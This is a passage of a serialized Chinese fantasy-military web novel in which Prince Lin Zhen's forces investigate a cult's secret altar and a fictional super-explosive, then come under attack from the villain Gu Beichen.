“禀殿下,”毛梦极脸上那道刀疤在火光映照下更显狰狞,声音嘶哑,“金吾卫阵亡一百八十七人,重伤六十三人;神机营阵亡二十一人,重伤十五人;边军阵亡三百四十二人,重伤一百九十五人……荡寇营折损近半,” 他枯瘦的手指微微颤抖,眼中燃烧着愤怒和嗜血的火焰。 “楚夫人,”橙萱扶着脸色苍白的楚惜灵走来。 “世子……”楚惜灵声音带着一丝虚弱,但眼神却异常明亮,甚至带着一种近乎狂热的兴奋,“爆炸核心温度远超预期,焚天炉绝不仅仅是冶炼炉,它在炼制一种……一种极其不稳定的混合物质,硫磺、硝石、精炼煤粉……还有……还有某种特殊的催化剂,比例极其微妙,稍有不慎……就会……” 她深吸一口气,眼中闪过一丝恐惧,“就会引发刚才那种毁天灭地的大爆炸,这这根本不是‘焚天火’,这是‘焚天雷’,一种威力远超黑火药的恐怖爆炸物,顾北辰他想造的不是火……是雷,是能炸毁城墙,撕裂大地,毁灭一切的神罚之雷,” “焚天雷?,”林臻瞳孔骤然收缩, 一股寒意瞬间从尾椎骨直冲天灵盖, 他猛地想起俘虏所说“焚尽一切”的描述, 原来……不是火焰, 是爆炸, 是毁灭性的爆炸, 顾北辰, 他不仅要颠覆大乾, 他还要用这种恐怖的武器,将整个天下都拖入毁灭的深渊, “必须……必须找到配方,找到那些西域使者,找到顾北辰在黑水泽的老巢,”楚惜灵的声音带着前所未有的急切和凝重, “这种配方……绝不能落入顾北辰之手,否则……天下大乱,生灵涂炭,” “传令,”林臻眼中寒光爆射,如同出鞘的绝世凶兵,“毛梦极,” “末将在,” “即刻封锁断魂谷,方圆五十里,设为禁区,任何人不得靠近,违者格杀勿论,” “是,” “萧寒舟,” “弟子在,”萧寒舟匆匆赶来,官袍上沾满尘土。 “飞鸽传书张俪,动用一切力量,不惜一切代价,查清西域拜火教使者行踪,查清顾北辰在黑水泽的一切动向,查清所有与‘焚天雷’相关的线索,尤其是配方,” “是,弟子即刻去办,” “楚惜灵,” “妾身在,” “你亲自负责,组织工部最顶尖的格物、化学、火器专家,成立焚雷司,秘密研究此次爆炸残留物,分析成分,尝试逆推配方,同时……研究防御和反制之法,” “是,”楚惜灵眼中闪烁着挑战的光芒,郑重应道。 “橙萱,” “在,” “传令回燕京,全军缟素,厚葬阵亡将士,抚恤加倍,重伤者,不惜代价救治,阵亡者,其家眷由官府赡养终身,子女入蒙学堂,费用全免,立‘英烈祠’,刻碑铭记,受万世香火,” “是,” “另……”林臻声音低沉下来,带着一丝不易察觉的疲惫和沉重,“传令各州县开仓放粮,赈济灾民,减免赋税一年,” ?? 第719章 密道 半月后,燕京行辕正殿。 肃穆庄严,却弥漫着一股压抑的悲伤气氛。 巨大的蟠龙柱上缠绕着素白的绸带,殿内悬挂的灯笼也蒙上了白纱。 空气中弥漫着淡淡的檀香,却驱不散那股无形的沉重。 林臻端坐主位,依旧身着玄色蟠龙常服,但腰间束着一条素白腰带,眉宇间带着一丝难以掩饰的疲惫和沉痛。 殿内两侧,肃立着文武官员及各部落酋长代表(酋长本人已被要求回部落推行新政),人人身着素服,神情肃穆。 “师父,”萧寒舟手持卷宗,声音低沉而清晰,“断魂谷之役,我军虽付出惨重代价,然成功摧毁焚天炉,击毙逆酋赫连豹及拜火教护法数十人,歼灭苍鹰部残兵及拜火教徒千余,缴获未及销毁之精铁、硫磺、硝石等战略物资无数,更探明顾北辰炼制焚天雷之惊天阴谋,此役……功在社稷,利在千秋,阵亡将士死得其所,英魂永存,” 殿内一片寂静,落针可闻。众人垂首肃立,脸上带着哀戚与敬畏。 “阵亡将士,皆为我大乾英烈,他们的血,不会白流,”林臻声音低沉而有力,带着不容置疑的决断,“英烈祠即日动工,选址燕京西山,规模务必宏大,用料务必精良,工期不得延误,” “是,,”工部官员躬身领命。 “抚恤事宜,务必落实,若有克扣贪墨,延误发放者,立斩不赦,抄没家产,妻女充为官奴,” “是,臣等定当严加督办,绝不敢有误,”户部、吏部官员连忙躬身应道,额头渗出冷汗。 “新政推进如何?”林臻话锋一转,目光扫过众官员和酋长代表。 “回师父,”萧寒舟继续道,“改土归流已全面铺开,各部落酋长皆已回部落,配合朝廷委派之流官,清点人口、牲畜、草场,登记造册,进展尚可。然……” 他顿了顿,声音微沉,“阻力亦不小。尤其秃鹫部、雪狼部、风隼部等大部落,酋长虽表面配合,实则阳奉阴违,清查进度缓慢,数据多有隐瞒,更有甚者,暗中煽动部民,抵制流官,散布流言,称新政乃夺其祖业、灭其苗裔,地方流官屡遭刁难,甚至有被殴伤者,” “哦?”林臻眼神瞬间转冷,手指在扶手上轻轻敲击,“阳奉阴违?煽动部民?殴伤流官?好,很好,看来赫连铁树和那三颗人头的教训,还不够深刻,” 殿内气氛瞬间降至冰点,众酋长代表噤若寒蝉,冷汗涔涔而下, “秃鹫部酋长兀良合台何在?”林臻声音冰冷。 “回……回殿下……”秃鹫部使者噗通一声跪倒在地,声音颤抖,“酋长……酋长他突感风寒卧病在床……无法……无法前来……” “风寒?卧病?”林臻嘴角勾起一抹冰冷的弧度,“传令,着太医院院判携上等药材,亲赴秃鹫部,为兀良合台酋长诊治,若病情属实,本世子赐他良药,若装病抗命……”他声音陡然转厉,“……就地拿下,押解回京,悬首示众,” “是,”传令兵轰然应诺, “雪狼部拓跋雄,风隼部慕容风,”林臻目光如电,扫过另外两名使者,“告诉他们,本世子给他们最后一次机会,十日之内,亲自押送部落人口、牲畜、草场实数清册至燕京,若有丝毫隐瞒,或逾期不至……” 他声音如同寒冰砸落,“秃鹫部就是他们的榜样,灭族,悬首,勿谓言之不预,” “是,是,小人……小人定当转告,”两名使者吓得魂飞魄散,连连磕头, “另,”林臻声音低沉,“传谕各部落,凡有主动举报酋长隐瞒实情、抗拒新政者,赏银百两,授良田百亩,免赋税十年,凡有殴伤流官者,主犯凌迟,家眷为奴,从犯斩首,悬首寨门,举报者同赏,” “是,”众人心中一凛, 这是要分化瓦解,釜底抽薪, “开矿事宜如何?”林臻转向楚惜灵。 楚惜灵上前一步,虽脸色依旧有些苍白,但眼神明亮:“回殿下,黑石山露天煤矿已初步开采,首批‘北燕煤’五千石,已于三日前装船,由金吾卫水师护送,发往沪县深水港,赤铁矿、白石谷亦已动工,焚雷司已秘密组建,选址西山深处,由臣亲自负责,爆炸残留物分析……已有初步进展,其威力远超黑火药十倍不止,配方极其复杂,逆推难度极大,但妾身定当竭尽全力,” “好,”林臻眼中闪过一丝赞许,“煤矿开采,加速进行,所需人手、器械,优先保障,‘焚雷司’所需一切,皆列为绝密,由你全权负责,直接向本世子汇报,” “是,,”楚惜灵躬身领命。 ??....... 深夜,西山深处,焚雷司秘密营地。营地依山而建,戒备森严,明哨暗哨密布,金吾卫精锐日夜巡逻。 营地中央,一座巨大的、由厚重青石砌成的实验室内,灯火通明。 楚惜灵一身靛蓝工装,长发利落地束在脑后,脸上带着防尘面罩和特制的琉璃护目镜,正全神贯注地操作着一台结构复杂的蒸馏提纯装置。 实验台上,摆放着各种瓶瓶罐罐、精密天平、坩埚、以及从断魂谷带回的、被小心封装在特制铅盒中的爆炸残留物样本(焦黑的土壤、熔融的金属碎片、奇特的晶体粉末)。 空气中弥漫着淡淡的硫磺味、硝石味和一种难以言喻的化学试剂气味。 “楚大人,”一名年轻助手手持一份报告,声音带着兴奋,“三号样本的硫磺提纯度达到九成八,硝石晶体纯度也超过九成五,这……这比我们工部最好的提纯工艺还要高,” “还不够,”楚惜灵头也不抬,声音清冷,“顾北辰的配方,要求的是极致纯度,差之毫厘,谬以千里,继续提纯,用王水再过滤三次,” “是,”助手连忙应道。 “大人,您看这个,”另一名助手拿着放大镜,仔细观察着一块焦黑的、带有金属光泽的碎片,“这碎片不像是铁,也不像是铜,硬度极高,熔点似乎也极高,在爆炸中心附近找到的,” 楚惜灵接过碎片,在琉璃灯下仔细端详,又用特制的金刚石刀轻轻刮擦,眉头紧锁:“……钨?还是铬?或者某种合金?顾北辰他从哪里弄来的这些稀有金属?” 她眼中闪过一丝凝重,“记录,编号‘玄甲-7’,成分待测,来源……重点追查,” 就在这时, “报——,”一名金吾卫校尉匆匆而入,单膝跪地,“禀楚大人,毛将军派人急报,在断魂谷外围清理废墟时,发现一处隐秘地道入口,” “地道?,”楚惜灵猛地抬头,眼中精光爆射,“在哪里?,” “在……在焚天炉废墟西北角,一处被炸塌的山壁后面,入口极其隐蔽,被巨石掩盖,清理时才发现,地道……深不见底,寒气逼人,毛将军已亲自带人下去探查,派末将速来禀报,” “走,”楚惜灵一把扯下护目镜和面罩,清冷的脸上带着前所未有的激动和凝重, 她有种强烈的预感,这条地道,或许藏着顾北辰更深的秘密, 断魂谷外,临时营地。夜色如墨,寒风凛冽。 焚天炉的废墟仍在冒着缕缕青烟,空气中弥漫着焦糊味。 一处被炸塌的山壁前,巨石已被移开,露出一个黑黢黢的、仅容一人通过的洞口。 洞口处寒气森森,与周围灼热的废墟形成鲜明对比。 毛梦极枯瘦的身影如同标枪般立在洞口,脸上那道刀疤在火把映照下如同蠕动的蜈蚣。 他身后,数十名金吾卫精锐手持火把和强弩,严阵以待。 “楚夫人,”毛梦极看到匆匆赶来的楚惜灵,嘶哑的声音带着一丝兴奋,“下面有古怪,寒气很重,石壁上有有刻痕,” 楚惜灵二话不说,接过一支火把:“下去看看,” 毛梦极亲自在前开路,楚惜灵紧随其后,数名金吾卫精锐鱼贯而入。 地道狭窄而陡峭,一路向下延伸。 石阶粗糙,显然是仓促开凿。越往下走,寒气越重,空气中弥漫着一股潮湿的霉味和淡淡的……硫磺味? 石壁上,果然布满了人工开凿的痕迹,还有一些模糊的、如同鬼画符般的刻痕, “停,”楚惜灵突然蹲下身,火把凑近石壁一处刻痕,“这是西域文字?拜火教的符文?”她眼中闪过一丝惊疑。 “大人,前面有光,”一名金吾卫低声道。 众人加快脚步,转过一个弯道,眼前豁然开朗, 一个巨大的、天然形成的溶洞出现在眼前, 溶洞中央,竟然有一个直径数丈、深不见底的寒潭, 潭水漆黑如墨,散发着刺骨的寒气, 潭边,散落着一些破碎的木箱、散落的矿石(硫磺、硝石)、以及……几具穿着黑袍、早已冻僵的尸体, 尸体旁边,还有一个被掀翻的、造型奇特的青铜火盆,盆底残留着一些灰白色的灰烬, “这是……拜火教的祭坛?”毛梦极眼神阴鸷。 楚惜灵没有回答,她的目光死死盯着寒潭对面, 那里,石壁上赫然有一个巨大的、人工开凿的拱形石门, 石门紧闭着,由厚重的青石打造,表面布满了复杂的、与石壁上符文相似的浮雕, 石门中央,镶嵌着一个巨大的、由某种黑色金属铸造的、狰狞的火焰恶魔头像, 恶魔的双眼,是两颗鸽蛋大小、散发着幽幽红光的……宝石?, “赤焰魔瞳?,”楚惜灵失声惊呼,声音带着难以置信的震惊, “拜火教传说中的圣物,怎么会在这里?,” “门后是什么?”毛梦极眼中凶光一闪。 “不知道……”楚惜灵深吸一口气,强迫自己冷静下来,“但……这绝不是简单的祭坛,这石门……这魔瞳……这寒潭……还有这些硫磺矿石……顾北辰……他在这里……到底隐藏了什么?,” 她走到石门前,仔细观察着那些浮雕符文和魔瞳,手指无意识地抚摸着冰冷的石门,一种强烈的不安感涌上心头。 这条地道,这扇石门,或许才是顾北辰在断魂谷真正的秘密, 焚天炉……可能只是掩人耳目的幌子, 真正的“焚天雷”核心……或许就在这石门之后, “毛将军,”楚惜灵猛地转身,声音带着前所未有的凝重和急切,“立刻封锁此地,任何人不得靠近,飞鸽传书殿下,请殿下亲临,” 第720章 石门的后面 西山深处,“焚雷司”秘密营地。 寒风掠过嶙峋的山岩,发出呜咽般的低鸣。 营地内灯火通明,却笼罩在一片异样的肃穆与紧张之中。 金吾卫精锐的巡逻密度比平日增加了一倍,暗哨隐藏在每一处阴影里,冰冷的眼神扫视着任何风吹草动。 空气中弥漫着一种无形的压力,仿佛连呼吸都变得小心翼翼。 楚惜灵站在营地中央那座巨大的青石实验室外,靛蓝工装在夜风中微微拂动。 她并未戴面罩,清丽的脸庞在摇曳的火把光芒下显得有些苍白,但那双清冷的眼眸却异常明亮,如同寒夜中的星辰,紧紧盯着通往断魂谷方向的崎岖山路。 指尖无意识地摩挲着一块冰冷的、带有奇异金属光泽的碎片,心中翻涌着石门浮雕上那狰狞的火焰恶魔头像和幽幽红光的“赤焰魔瞳”。 拜火教的圣物,为何会出现在北燕腹地的寒潭深处? 那扇沉重的石门之后,究竟隐藏着什么? 是焚天雷的真正核心? 还是……更可怕的秘密? 一种混合着探知欲与强烈不安的情绪在她心中交织。 马蹄声由远及近,打破了山林的沉寂。 林臻的身影出现在山路尽头。 他并未着甲,一身玄色蟠龙常服,外罩同色薄氅,身姿挺拔如孤峰。 玄色乌骓喷吐着白气,马蹄踏在冻土上发出沉闷的声响。 他身后,仅跟着十数名金吾卫亲随,橙萱一身劲装紧随其后,眼神锐利如鹰。 “殿下!”楚惜灵快步迎上,躬身行礼。 “情况如何?”林臻翻身下马,声音沉稳,目光锐利地扫过戒备森严的营地,最后落在楚惜灵脸上。 “石门已发现,位于断魂谷深处寒潭溶洞。毛将军亲自带人看守,未敢轻动。”楚惜灵语速清晰, “石门材质特殊,非普通青石,疑似混合了某种金属,异常坚固。门上有拜火教符文浮雕,中央镶嵌‘赤焰魔瞳’,寒气极重。溶洞内发现拜火教徒尸体及祭祀痕迹,疑为秘密据点。” “赤焰魔瞳……”林臻眼神微凝,“拜火教圣物……看来顾北辰所图非小。带路。” 一行人迅速穿过营地,在楚惜灵和数名焚雷司精锐的引领下,沿着一条新开辟的、布满碎石和冰凌的隐秘小径,向断魂谷深处进发。 寒风如刀,卷起地上的雪沫,抽打在脸上生疼。 空气中依旧残留着淡淡的焦糊味和硫磺气息,提醒着半月前那场惊天动地的爆炸。 谷内景象更加破败,巨大的焚天炉废墟如同被啃噬过的巨兽骨架,在惨淡的月光下投下狰狞的阴影。 滚落的巨石、龟裂的地面、凝固的熔岩痕迹……无不诉说着那场灾难的恐怖。 溶洞入口已被清理出来,周围布满了金吾卫岗哨。 毛梦极的身影如同石雕般伫立在洞口,脸上那道刀疤在火把映照下更显阴鸷。 见到林臻,他眼中凶光一闪,随即躬身:“殿下!” “嗯。”林臻微微颔首,目光投向那黑黢黢的洞口,寒气扑面而来。 “里面情况?”林臻问道。 “寒气刺骨,通道狭窄,直通寒潭溶洞。石门完好,符文诡异,魔瞳妖异。属下派人试探过,石门厚重,人力难开,亦未发现明显机关。”毛梦极声音嘶哑。 “进去看看。”林臻迈步踏入洞口。 通道内寒气更甚,如同置身冰窖。石壁上凝结着厚厚的白霜,踩在脚下的碎石发出“咯吱”的脆响。 火把的光芒在狭窄的空间内跳跃,映照着石壁上那些模糊而诡异的刻痕符文,更添几分阴森。 下行数十丈,眼前豁然开朗。 巨大的天然溶洞呈现在眼前。 洞顶悬挂着形态各异的钟乳石,在火光照耀下闪烁着幽冷的光泽。 洞中央,那口直径数丈的寒潭如同沉睡的巨兽之眼,潭水漆黑如墨,深不见底,散发着令人骨髓都冻结的寒气。 潭边散落的木箱碎片、矿石、以及那几具早已冻僵、覆盖着白霜的黑袍尸体,在火把下显得格外诡异。 翻倒的青铜火盆,盆底残留的灰烬,无声地诉说着这里曾进行过某种神秘的仪式。 林臻的目光,越过寒潭,直接落在那扇巨大的石门上。 厚重的青石门板,在火光下泛着幽冷的光泽,表面布满了繁复而狰狞的浮雕——扭曲的火焰、咆哮的恶魔、痛苦挣扎的人形……充满了邪异的气息。 石门中央,那尊巨大的火焰恶魔头像栩栩如生,尤其那双镶嵌的“赤焰魔瞳”,鸽蛋大小的宝石在火光照耀下,并非反射光芒,而是从内部透出一种幽幽的、如同凝固血液般的暗红色光芒! 那光芒仿佛有生命般,微微流转,带着一种蛊惑人心的妖异力量,让人不寒而栗! “殿下,就是此门。”楚惜灵的声音带着一丝凝重,“符文复杂,魔瞳诡异。寒气似乎以此门为中心最盛。” 林臻缓步上前,在距离石门数步之遥停下。 一股更加刺骨的寒意如同实质般侵袭而来,连他内息深厚都感到一丝不适。 他仔细端详着石门上的浮雕和符文,目光锐利如刀。 那些符文扭曲盘绕,如同活物,与他在某些西域古籍中见过的拜火教密文有几分相似,却又更加古老、诡异。 他的目光最终定格在那双“赤焰魔瞳”上。那幽幽的红光,仿佛能吸摄人的灵魂。 “灵儿,”林臻沉声道,“你可识得这些符文?” 楚惜灵上前一步,清冷的眼眸专注地扫过石门:“回殿下,部分符文与工部收藏的《西域火经》残卷记载的拜火教古祭祀文相似,但更加复杂,且蕴含某种阵法韵律。这些火焰恶魔浮雕,似非单纯装饰,更像某种能量引导或封印的轨迹。” 她指着恶魔头像周围那些扭曲的火焰纹路,“尤其这双魔瞳位置特殊,光芒妖异,寒气凝聚于此,恐是关键枢纽。” “阵法?枢纽?”林臻眉头微蹙,“可有开启之法?” “暂时未知。”楚惜灵摇头,眼中闪过一丝挫败,“符文组合太过繁复,且似乎需要特定的钥匙或仪式激活。强行破门,恐引发不测。”她想起焚天炉的爆炸,心有余悸。 林臻沉默片刻,目光再次扫过石门,最终落在石门底部与地面相接的缝隙处。 那里,似乎有一道极其细微的、不同于周围岩石的暗色痕迹。他蹲下身,手指拂去缝隙边缘的冰霜和灰尘。 “毛梦极。” “末将在!” “取‘破山凿’撬此处缝隙,小心,莫要触动魔瞳!” “是!”毛梦极眼中凶光一闪,枯瘦的手接过一名亲卫递来的沉重钢钎。 他深吸一口气,运足内力,枯瘦的手臂爆发出惊人的力量! 钢钎尖端精准地插入那道细微的缝隙! “嘎吱——!”一声令人牙酸的摩擦声响起!坚硬的钢钎与石门底部摩擦,溅起几点火星! “用力!”林臻低喝! 毛梦极额头青筋暴起,低吼一声!全身力量灌注于双臂! “咔嚓!” 一声轻微的脆响!并非石门开启,而是钢钎尖端似乎撬动了什么! 石门底部一块巴掌大小、颜色略深的石板,竟被撬得微微松动! “停!”林臻立刻制止。 毛梦极收力,钢钎抽出。 第721章 顾北辰与拜火教的秘密 林臻俯身,小心翼翼地用手指抠住那块松动石板的边缘,缓缓发力。 石板被一点点抠出,露出下方一个浅浅的凹槽! 凹槽内,赫然放着一个巴掌大小、通体黝黑、非金非玉、表面光滑如镜的扁平圆盘! 圆盘中央,镶嵌着一颗米粒大小、散发着微弱幽蓝光芒的晶体! “这是……”楚惜灵瞳孔骤然收缩! 她快步上前,从林臻手中接过圆盘,清冷的眼眸中爆发出难以置信的震惊和狂喜! “密钥!拜火教的‘幽蓝密钥’!《西域火经》残卷中提及的圣物,传说中开启‘永恒之焰’祭坛的钥匙,竟然藏在这里!” 她手指微微颤抖,仔细端详着圆盘和那颗幽蓝晶体,“这晶体蕴含奇异的能量波动!与魔瞳似有感应!” “如何开启?”林臻目光灼灼。 楚惜灵深吸一口气,强迫自己冷静下来。 她将圆盘翻转,仔细观察着背面的细微纹路,又抬头看向石门中央的火焰恶魔头像和那双赤焰魔瞳。 她清冷的眼眸中,无数符文、轨迹、能量节点飞速流转、组合、推演…… “殿下!”她猛地抬头,声音带着一丝不易察觉的激动,“请将此盘按入恶魔头像的眉心位置!” 林臻接过圆盘,没有丝毫犹豫,身形微动,已如鬼魅般掠至石门前! 无视那刺骨的寒气和妖异的红光,他手臂沉稳如铁,将那块黝黑的圆盘,精准地按向火焰恶魔头像的眉心! “嗡——!” 就在圆盘接触眉心的刹那,一声低沉而奇异的嗡鸣声响起,整个石门仿佛活了过来,那些繁复的浮雕符文瞬间亮起如同流淌的熔岩,散发出暗红色的光芒。 尤其是那双“赤焰魔瞳”,幽红光芒大盛如同燃烧的火焰,一股灼热的气流瞬间取代了刺骨的寒气,从石门缝隙中喷涌而出,与之前的冰寒形成诡异对比! “咔嚓……咔嚓……” 沉重的机括转动声从石门内部传来,如同沉睡的巨兽在苏醒,巨大的石门,在众人屏息凝神的注视下,缓缓地、无声地向内开启,一股混合着硫磺、硝石、焦糊、以及一种难以言喻的、如同陈年血腥般的腐朽气息,扑面而来。 石门之后,并非预想中的巨大空间,而是一条向下延伸的、更加狭窄幽深的甬道。 甬道两侧的石壁上,镶嵌着发出微弱幽绿色光芒的萤石,如同鬼火般摇曳,勉强照亮前路。 甬道尽头,隐约可见一个更加开阔的空间,散发出更加浓郁、令人心悸的气息。 “毛梦极!探路!”林臻声音低沉。 “是!”毛梦极眼中凶光一闪,枯瘦的身影如同鬼魅般率先掠入甬道! 数名金吾卫精锐紧随其后! 林臻、楚惜灵、橙萱等人也紧随其后,踏入石门。 甬道不长,却异常压抑。 两侧石壁上,除了幽绿的萤石,还刻满了更加密集、更加扭曲诡异的拜火教符文,仿佛无数双眼睛在黑暗中窥视。 空气中那股混合的怪味愈发浓烈,令人作呕。甬道尽头,是一个比外面溶洞略小的石室。 石室内的景象,让所有人瞬间屏住了呼吸! 石室中央,并非预想中的巨大熔炉或武器,而是一个由整块巨大黑曜石雕琢而成的、造型奇特的祭坛! 祭坛呈六芒星状,六个角上各有一个凹陷的槽位,槽位内空空如也。 祭坛中央,则是一个深陷的、碗口大小的凹槽,凹槽底部,残留着一些暗红色的、如同干涸血迹般的结晶粉末! 祭坛周围的地面上,散落着一些破碎的陶罐、断裂的骨杖、以及几具早已化为白骨的尸体。 尸体穿着残破的黑袍,保持着跪拜或挣扎的姿态,显然是在进行某种仪式时遭遇不测。 “这是祭祀台?”橙萱声音带着一丝惊疑。 “不……不仅仅是祭祀……”楚惜灵的声音带着一丝颤抖,她快步走到祭坛前,蹲下身,手指小心翼翼地捻起一点凹槽底部的暗红色结晶粉末,放在鼻尖轻嗅,又用特制的琉璃放大镜仔细观察,清冷的眼眸中充满了震惊和一丝恐惧! “硫磺……硝石……精炼煤粉……还有……人血?!不……是某种蕴含强大生命能量的……精血结晶!这……这是‘焚天雷’的核心催化剂配方!拜火教他们用活人精血来炼制这种灭绝人性的武器!” 林臻眼神瞬间冰寒! 一股滔天的怒意和杀机在胸中翻腾! 顾北辰,拜火教,竟以活人精血为引炼制如此灭绝人性的武器! 其罪当诛九族!挫骨扬灰! “殿下!您看这里!”毛梦极的声音从石室角落传来。 众人循声望去,只见毛梦极正站在石室最内侧的石壁前。 石壁上,并非天然岩壁,而是由巨大的、打磨光滑的青石板拼接而成。 石板上,刻满了密密麻麻的、更加古老晦涩的拜火教符文,而在这些符文中央,赫然镶嵌着一幅巨大的、由各色宝石和金属丝线勾勒而成的——地图。 地图的轮廓极其诡异,并非大乾或周边已知的任何地域! 山川河流的走向扭曲而狰狞,如同恶魔的爪牙! 地图中央,用暗红色的宝石标记着一个巨大的、如同眼睛般的符号! 符号周围,环绕着数个较小的标记!其中一处标记的轮廓……赫然与阴山、断魂谷的地形有几分相似。 另一处标记,则位于一片广袤的、被标注为“黑水死泽”的区域。 还有一处……指向了遥远的西方,一片标注着“永恒火狱”的未知之地。 “这是……”楚惜灵失声,“拜火教的圣火源流图?!传说中记载着所有永恒之焰祭坛位置和焚天雷终极秘密的圣图!” 林臻的目光死死锁定在那片“黑水死泽”的标记上! “拓下来!”林臻声音低沉而决断,“不惜一切代价!将此图完整拓印!一丝一毫都不能遗漏!” “是!”楚惜灵立刻指挥焚雷司的工匠上前,小心翼翼地开始拓印。 就在众人注意力被圣火源流图吸引时,谁也没有注意到,石室入口处,那扇刚刚开启的石门内侧,靠近地面的一个极其隐蔽的角落,一个由暗红色晶体粉末勾勒的、极其微小的火焰符文,在众人踏入石室后,悄然亮起了一丝微不可查的红光! 随即迅速黯淡下去,仿佛从未出现过。 “报——!”一名金吾卫斥候气喘吁吁地从甬道外冲入石室,单膝跪地,“禀殿下!营地急报!萧大人飞鸽传书,张俪夫人密报,顾北辰有异动,大批南楚精锐和拜火教高手,正秘密集结!动向不明,但目标疑似北燕!” 林臻眼神骤然锐利如刀! 他猛地转身,目光如电,扫过石室中那诡异的祭坛、圣火源流图、以及那扇洞开的石门! 一股强烈的不祥预感,如同冰冷的毒蛇,瞬间缠绕上他的心脏! “中计了!”林臻的声音如同寒冰砸落,“立刻封锁此图,所有人,撤出石室封闭石门。” 第722章 顾北辰来了 西山深处,焚雷司营地。 寒风卷起地上的雪沫,抽打着营地的栅栏和帐篷,发出“噼啪”的声响。 夜色如墨,铅灰色的云层低垂,将月光彻底吞噬,只有营地内摇曳的火把光芒,在无边的黑暗中投下片片不安的光晕。 空气中弥漫着硫磺、硝石和焦糊的气息,混合着山风的凛冽,更添几分肃杀与压抑。 石室入口,巨大的石门已被重新关闭。 毛梦极如同鬼魅般立在门前,脸上那道刀疤在火把映照下如同蠕动的蜈蚣,眼神阴鸷如鹰隼,扫视着周围每一寸阴影。 数十名金吾卫重甲精锐手持劲弩长刀,呈扇形拱卫在石门周围,冰冷的甲胄在火光下泛着幽光,如同沉默的钢铁壁垒。 气氛凝重得如同暴风雨前的死寂。 楚惜灵站在营地中央临时搭建的指挥棚内,靛蓝工装上沾满了石屑和灰尘。 她清冷的脸上带着一丝疲惫,但眼神却异常专注和锐利,正指挥着几名焚雷司工匠,小心翼翼地处理着刚刚从石壁上拓印下来的“圣火源流图”拓片。 巨大的、描绘着诡异山川和恶魔之眼的图纸铺在案几上,上面密密麻麻的符文和标记在灯光下显得格外神秘。 几名精通西域古文的学者(工部调派)正围在图纸旁,低声争论着某个符号的含义,气氛紧张而专注。 “楚大人,”一名工匠小心翼翼地用特制的鱼胶将最后一块拓片粘合,“‘黑水死泽’和‘永恒火狱’的标记已清晰拓下,但西北角那片扭曲的山脉标记似乎……似乎与阴山深处的‘鬼哭岭’地形有几分相似……” “鬼哭岭?”楚惜灵眉头微蹙,清冷的眼眸中闪过一丝疑虑,“那里是赫连豹残部最后消失的地方……难道……” “报——!”一声凄厉的呼喊撕裂了营地的寂静。 一名浑身浴血、甲胄破碎的金吾卫斥候踉跄着冲入指挥棚,扑倒在地,声音嘶哑而绝望:“敌袭,大批敌军,从……从鬼哭岭方向杀来,人数不详,但攻势极猛,前哨已全军覆没!” “什么?!”楚惜灵脸色瞬间煞白!清冷的眼眸中充满了震惊!“鬼哭岭?!顾北辰!他果然来了!” “呜——!呜——!呜——!”凄厉而急促的警报号角声瞬间响彻营地!如同垂死巨兽的悲鸣! “敌袭——!!” “准备战斗——!!” 金吾卫将领的怒吼声、士兵奔跑的脚步声、甲胄碰撞声、弓弩上弦声……瞬间打破了死寂! 整个营地如同被投入滚水的蚁穴,瞬间沸腾起来! “保护拓图,保护楚夫人!”毛梦极嘶哑的声音如同夜枭啼鸣,带着冰冷的杀意。 他枯瘦的手猛地拔出长刀,“金吾卫死守石门,擅近者杀无赦!” “是!”金吾卫重甲步兵发出低沉的怒吼,巨大的塔盾轰然落地,组成一道钢铁城墙,锋利的枪矛从盾牌缝隙中探出,如同钢铁丛林,对准了营地外围的黑暗! “轰——!!” “轰——!!” 剧烈的爆炸声如同惊雷般在营地外围炸响,火光冲天,浓烟滚滚,营地外围的简易栅栏和拒马瞬间被炸得粉碎,木屑和积雪混合着血肉残肢四处飞溅。 “是焚天雷,小心!”楚惜灵失声惊呼!清冷的眼眸中充满了难以置信的惊骇! 顾北辰他竟然已经掌握了这种恐怖武器! 而且如此精准地投掷到了营地! “嗖嗖嗖——!”密集的箭矢如同飞蝗般从黑暗中射来,带着凄厉的破空声,箭头上闪烁着幽绿色的诡异光芒。 “毒箭,举盾!”金吾卫将领怒吼! “噗噗噗——!”箭矢钉在塔盾上,发出沉闷的声响。 但仍有不少越过盾阵,射入后方的帐篷和士兵身体。 “啊——!”惨叫声瞬间响起,中箭的士兵伤口迅速发黑溃烂,发出凄厉的哀嚎,身体剧烈抽搐,口吐白沫,转眼间便气绝身亡,毒性之烈,触目惊心! “杀——!!”震天的喊杀声如同潮水般从黑暗中涌来。 无数黑影如同鬼魅般冲出,他们穿着南楚制式的黑色皮甲,手持弯刀短弩,动作迅捷如风,更混杂着不少身穿黑袍、脸上涂抹着诡异油彩、手持奇形兵刃(弯钩、链锤、骨笛)的拜火教徒! 他们口中念念有词,眼中闪烁着狂热而残忍的光芒,为首一人,身形高瘦,穿着一身暗紫色绣金纹的锦袍,脸上覆盖着一张狰狞的青铜火焰面具,只露出一双深邃如渊、冰冷无情的眼眸! 正是南楚权相顾北辰! 他并未亲自冲锋,只是负手而立,如同掌控一切的毒蛇,冷冷地注视着混乱的营地。 “南楚狗,拜火妖人,受死!”毛梦极眼中凶光爆射,枯瘦的身影如同鬼魅般迎上,长刀化作一片死亡的旋风,刀光过处,血肉横飞,所向披靡! “神机营!自由射击!目标——黑袍人!”橙萱清脆的声音响起! 她手持双剑,护在楚惜灵身前,眼神锐利如鹰。 “砰!砰!砰!砰——!!”神机营火枪手迅速列阵,三段轮射! 密集的铅弹泼洒向冲来的黑袍拜火教徒,不少教徒中弹倒地,但仍有数名身手诡异者,如同鬼影般避开弹雨,直扑石门方向。 “拦住他们!”毛梦极怒吼! 回身一刀劈向一名冲近的黑袍护法! “铛!”金铁交鸣,火星四溅,那护法手持一柄奇特的弯钩,竟架住了毛梦极势大力沉的一刀,另一名护法则双手结印,口中咒语急促,一团幽绿色的火焰凭空出现,射向守卫石门的金吾卫盾阵! “滋啦——!”幽绿火焰撞在塔盾上,竟发出腐蚀般的声响! 坚硬的木盾瞬间被烧穿一个大洞! 盾后的士兵惨叫着倒下,皮肉迅速焦黑腐烂! “妖术!”金吾卫士兵眼中闪过一丝惊骇! “用火油!烧死这些妖人!”一名金吾卫校尉怒吼! “轰!”燃烧的火油罐被掷出,砸向黑袍护法,火焰升腾,但黑袍护法身形诡异闪动,竟避开了大部分火焰。 只有衣角被点燃,却浑不在意,眼中凶光更盛。 “保护拓图!”楚惜灵在橙萱和几名金吾卫亲卫的拼死护卫下,退向指挥棚深处。 她清冷的眼眸扫过混乱的战场,落在那些悍不畏死、直扑石门的拜火教徒身上。 他们的目标……不是杀人! 是石门! 是石室内的圣火源流图! 顾北辰……他要抢回拓本! 